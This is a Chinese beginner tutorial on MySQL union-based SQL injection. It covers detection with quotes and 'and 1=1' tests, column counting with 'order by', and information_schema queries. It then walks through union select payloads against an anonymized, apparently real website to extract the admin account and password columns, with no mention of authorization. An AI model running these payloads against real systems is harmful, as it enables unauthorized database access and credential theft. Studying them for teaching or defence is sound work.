首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >实战|MySQL联合注入

实战|MySQL联合注入

作者头像
Power7089
发布于 2019-11-14 09:40:50
发布于 2019-11-14 09:40:50
1.4K00
代码可运行
举报
运行总次数:0
代码可运行

0x01

SQL注入原理:

一、SQL注入就是一种通过操作SQL语句进行攻击目的的技术 二、SQL语句是各大数据库中的语言代码

0x02

SQL注入的产生:

攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

0x03

判断是否存在SQL注入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
传参的地方后面加上单引号 And 1=1  正常                 
存在注入And 1=2  不正常 
或者 or  xor   且或非

0x04

判断字段数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Order by X  取临界值

0x05

MySQL注入中常用的函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
User()   用户组权限Database()  数据库名Version()    PHP版本@@verSion_compile_os  操作系统

0x06

MySQL注入中需要用的:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Information_schema.tables  记录表名信息的表
Information_schema.columns  记录列名信息的表
Table_name  表名
Column_name  列名
group_concat(column_name)  所有列名
Schema_table  数据库名数据库名中符号
‘.’代表下一级的意思
补充一下:MySQL5.0以上与MySQL5.0以下是有区别的。

0x07

开始实战

目标站点:www.xxx.com

打开目标站点,到处点点,找到一处带有参数的url地址

我们输入单引号

页面报错了,这个时候我们再输入 and 1=1

返回正常页面,我们再 and 1=2 看看

返回的是500错误,当我们and 1=1 时页面返回正常,and 1=2 时页面返回错误,有些时候返回500不要觉得没有,有些时候照样存在注入。由此我们可以判断这里是存在注入的。

接下来我们要判断有多少字段数,上面已经说到判断字段数,使用order by x 取临界值(在这里我提前测试过了已经知道是25个字段)

我们输入order by 25 返回正常,order by 26时返回错误,由此我们可以判定存在25个字段。接下来我们使用联合注入。

第一步、为什么我要在参数前面加上-号呢?因为要让他报错回显出来,那个字段数上才是可控的,或者可以使用参数后面加上 and 1=2

可以看到,爆出数字9与19,说明在9跟19这两个数是可控的,在这里我们就要用到我们上面说的函数了,查数据库名,查操作系统,查PHP版本,查用户组权限。这里我就直接查数据库名了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   语句:http://www.xxx.com/xxx.php?xxx=-408 
   union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

可以看到数据库为xxxi_db,接下来查询这个数据库下面的所有表名信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   语句:http://www.xxx.com/xxx.php?xxx=-408 
   union select1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.tables where table_schema='xxxi_db(刚才查到的数据库名)'

在这里就要分析一下,你觉得那个表下面可能会存在存放后台管理员的账号密码的列,这里很明显是adminuser这个表。在这里还要说一下,如果'数据库名',这里也可以不用单引号,可以编码一下,编码至16进制就可不用单引号。下面我们要查询adminuser表下的列信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    语句:http://www.xxx.com/xxx.php?xxx=-408 
    union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.columns where table_name='表名'

查询到adminuser这个表下面有三个列名。id,aduser,adpword。后台管理员账号密码肯定就存在aduser跟adpword这两个列里面了。接下来就是让他爆出里面的数据了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    语法:http://www.xxx.com/xxx.php?xxx=-408 
    union select 1,2,3,4,5,6,7,8,aduser,10,11,12,13,14,15,16,17,18,adpword,20,21,22,23,24,25 from 表名

做到这里,后台管理员的账号与密码就可以注入出来了,找后台这里就先不说了,因为这次主要说的是SQL注入。

如果大家觉得哪里理解不了,可以发消息至公众号,你们发的消息我都有看的。这次这篇文章是给刚入门的兄弟们学习的,大佬们就先跳过吧。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
JVM-直接内存(Direct Memory)
直接内存是Java堆之外的,直接向系统申请的内存空间,所以直接内存不是虚拟机的一部分,也不是《Java虚拟机规范》中定义的内存区域,也有可能导致OOM。
逍遥壮士
2021/07/05
1.7K0
JVM-直接内存(Direct Memory)
关于JVM直接内存触发Full GC
今天在研究JVM的直接内存溢出时发现直接内存和堆内存一样,在直接内存快满时会触发full gc,full gc会将未被引用的对象及其指向的直接内存释放掉,如下为测试代码: package test.oom; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.List; /**  * VM args: -XX:+PrintGCDetails -XX:MaxDirectMemorySize=500M  * @au
囚兔
2018/02/08
2.7K0
JVM内存与垃圾回收篇第11章直接内存
第 11 章 直接内存 1、直接内存概述 直接内存 不是虚拟机运行时数据区的一部分,也不是《Java虚拟机规范》中定义的内存区域。 直接内存是在Java堆外的、直接向系统申请的内存区间。 来源于NIO,通过存在堆中的DirectByteBuffer操作Native内存 通常,访问直接内存的速度会优于Java堆。即读写性能高。 因此出于性能考虑,读写频繁的场合可能会考虑使用直接内存。 Java的NIO库允许Java程序使用直接内存,用于数据缓冲区 代码示例 代码 /** * IO
yuanshuai
2022/08/17
5230
JVM内存与垃圾回收篇第11章直接内存
Thrift抛直接内存OOM一点解决思路
最近使用Thrift TThreadedSelectorServer服务方式,运行一段时间就会抛OutOfMemoryError: Direct buffer memory异常; java.lang.OutOfMemoryError: Direct buffer memory at java.nio.Bits.reserveMemory(Bits.java:658) ~[na:1.7.0_67] at java.nio.DirectByteBuffer.<init>(Dire
囚兔
2018/02/08
1.6K0
JVM创建对象之内存解析
加载类元信息 -》 为对象分配内存 -》处理并发问题 -》属性的默认初始化 -》设置对象头 -》init方法
程序员阿杜
2021/07/05
5210
JVM创建对象之内存解析
直接内存满了导致的OOM
OOM导致的溢出比较容易复现,并且很容易排查,在日常开发过程中要注意,不用的变量或引用要及时回收。
逍遥壮士
2021/07/29
1.5K0
聊聊netty的maxDirectMemory
本文主要研究一下netty的maxDirectMemory(io.netty.maxDirectMemory)
code4it
2019/04/02
1.3K0
聊聊netty的maxDirectMemory
常识四堆外内存
堆外内存除了在像netty开源框架中,在平常项目中使用的比较少,在现前的项目中,QPS要求高的系统中,堆外内存作为其中一级缓存是相当有成效的。所以来学习一下,文中主要涉及到这三分部内容
码农戏码
2021/03/23
2.8K0
【JVM调优实战100例】05——方法区调优实战(下)
直接内存由操作系统来管理。常见于NIO,用于数据缓冲,读写性能很高,分配回收花销较高。
半旧518
2022/10/26
4930
【JVM调优实战100例】05——方法区调优实战(下)
聊聊jvm的-XX:MaxDirectMemorySize
序 本文主要研究一下jvm的-XX:MaxDirectMemorySize jpoutisfj_03.png -XX:MaxDirectMemorySize -XX:MaxDirectMemorySize=size用于设置New I/O(java.nio) direct-buffer allocations的最大大小,size的单位可以使用k/K、m/M、g/G;如果没有设置该参数则默认值为0,意味着JVM自己自动给NIO direct-buffer allocations选择最大大小 System.i
code4it
2019/03/28
13.5K0
聊聊jvm的-XX:MaxDirectMemorySize
Java程序员必备:常见OOM异常分析
放假这几天,温习了深入理解Java虚拟机的第二章, 整理了JVM发生OOM异常的几种情况,并分析原因以及解决方案,希望对大家有帮助。
捡田螺的小男孩
2020/04/14
1.4K0
JAVA面试50讲之10:直接(堆外)内存原理及使用
HeapByteBuffer是堆内ByteBuffer,使用byte[]存储数据,是对数组的封装,比较简单。DirectByteBuffer是堆外ByteBuffer,直接使用堆外内存空间存储数据,是NIO高性能的核心设计之一。本文来分析一下DirectByteBuffer的实现。
用户1205080
2019/01/23
3K1
JVM内存模型之直接内存
直接内存 又称堆外内存,也就是说这不是jvm运行时数据区的一部分,也不是java虚拟机规范中定义的内存区域,但这部分也会被频繁的使用,而且也可能导致OOM。
shengjk1
2018/10/24
7240
作为 Java 开发者,你需要了解的堆外内存知识
本文来自作者 应书澜 在 GitChat 上分享 「深入解读 Java 堆外内存(直接内存)」
CSDN技术头条
2018/07/30
1.2K0
作为 Java 开发者,你需要了解的堆外内存知识
JVM-直接内存
JVM 直接内存(Direct Memory)是 JVM 运行时使用的一种特殊内存区域,它是 JVM 堆外的一块内存空间。在 Java 中,我们使用java.nio 包和java.lang.System类中的arraycopy()方法等来操作直接内存。
程序员朱永胜
2023/11/11
6441
JVM-直接内存
一文探讨堆外内存的监控与回收
记得那是一个风和日丽的周末,太阳红彤彤,花儿五颜六色,96 年的普哥微信找到我,描述了一个诡异的线上问题:线上程序使用了 NIO FileChannel 的 堆内内存作为缓冲区,读写文件,逻辑可以说相当简单,但根据监控却发现堆外内存飙升,导致了 OutOfMemeory 的异常。
kirito-moe
2019/04/30
1.3K0
一文探讨堆外内存的监控与回收
常见的 OOM 异常分析(硬核干货)
在《Java虚拟机规范》的规定里,除了程序计数器外,虚拟机内存的其他几个运行时区域都有发生 OutOfMemoryError 异常的可能。
Java3y
2020/07/09
2K0
常见的 OOM 异常分析(硬核干货)
程序员进阶系列:OOM 都搞不定,还敢妄称自己Java高级攻城狮?
正式开讲之前,先罗列一下所知的 OutOfMemoryError (简称 OOM)异常,看看这些异常工作中你是否也遇到过?
一猿小讲
2020/11/03
5770
工作中最常见的6种OOM问题
最近我写的几篇线上问题相关的文章:《糟糕,CPU100%了》《如何防止被恶意刷接口》《我调用第三方接口遇到的13大坑》,发表之后,在全网广受好评。
苏三说技术
2024/03/18
3000
工作中最常见的6种OOM问题
从0到1起步-跟我进入堆外内存的奇妙世界
堆外内存一直是Java业务开发人员难以企及的隐藏领域,究竟他是干什么的,以及如何更好的使用呢?那就请跟着我进入这个世界吧。
小程故事多
2018/08/22
4690
从0到1起步-跟我进入堆外内存的奇妙世界
推荐阅读
相关推荐
JVM-直接内存(Direct Memory)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验